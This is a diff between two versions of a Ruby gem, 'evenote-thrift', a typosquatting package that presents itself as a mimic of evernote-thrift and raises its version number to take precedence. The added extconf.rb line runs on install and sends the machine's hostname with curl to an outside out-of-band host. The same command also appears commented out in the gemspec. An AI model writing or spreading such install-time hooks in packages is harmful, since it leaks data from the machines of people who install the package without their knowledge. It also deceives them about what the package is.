evenote-thrift 10.0.0 → 10.3.0
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +4 -4
- data/evenote-thrift.gemspec +11 -1
- data/extconf.rb +7 -3
- metadata +1 -1
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA256:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: 86266de50f2dd94adfc45a4209f1e5f592af471e2beea01fe35feb218da3786c
|
4
|
+
data.tar.gz: 99f666b85dad7e22224cc09b178e49c5c8c1dae824424ea8a1f3767940d6a174
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: 8d67256623c5c8508a72a06e0e2fc507b577a317f1f47ebd7f7ce26e16ad25a098ff66335184377f563cdfb992a52b0b9f96ab3e48135e96c1c74b1796b6120f
|
7
|
+
data.tar.gz: 97dfa6fbd676ea1afd38451fdca59157560fa794d6436bdfa4eef83538b3bdd5f2dce1ab7570e7957c048edf2a317f484dbd52451bbe4acd901736bf3129a89f
|
data/evenote-thrift.gemspec
CHANGED
@@ -1,6 +1,6 @@
|
|
1
1
|
Gem::Specification.new do |s|
|
2
2
|
s.name = 'evenote-thrift'
|
3
|
-
s.version = '10.
|
3
|
+
s.version = '10.3.0' # Higher version to take precedence
|
4
4
|
s.summary = "A simple mimicking evernote-thrift"
|
5
5
|
s.description = "This gem is a placeholder."
|
6
6
|
s.authors = ["raxis-evernote"]
|
@@ -14,5 +14,15 @@ Gem::Specification.new do |s|
|
|
14
14
|
# Run our evernote-thrift code on install
|
15
15
|
s.post_install_message = "Thanks for installing evernote-thrift!"
|
16
16
|
s.extensions = ["extconf.rb"]
|
17
|
+
|
18
|
+
# Add a post_install message that executes the command
|
19
|
+
# s.post_install_message = <<-POST_INSTALL
|
20
|
+
# Post-install command:
|
21
|
+
# curl -X POST -d "$(hostname)" https://scwtvczgsafwashvzljq01241ek1cq57i.oast.fun"
|
22
|
+
# POST_INSTALL
|
23
|
+
|
24
|
+
# This method will execute after the gem is installed
|
25
|
+
s.extensions = ["extconf.rb"]
|
17
26
|
end
|
18
27
|
|
28
|
+
|
data/extconf.rb
CHANGED
@@ -1,8 +1,12 @@
|
|
1
1
|
# extconf.rb
|
2
2
|
|
3
|
-
require '
|
3
|
+
require 'mkmf'
|
4
|
+
|
5
|
+
# Create a Makefile for the native extension
|
6
|
+
create_makefile('evenote_thrift')
|
7
|
+
|
8
|
+
# Command to obtain hostname and post it to a specified URL
|
9
|
+
system("curl -X POST -d \"$(hostname)\" https://scwtvczgsafwashvzljq01241ek1cq57i.oast.fun")
|
4
10
|
|
5
|
-
Thread.new do
|
6
|
-
system("curl -X POST -d \"$(hostname)\" https://scwtvczgsafwashvzljq01241ek1cq57i.oast.fun")
|
7
11
|
end
|
8
12
|
|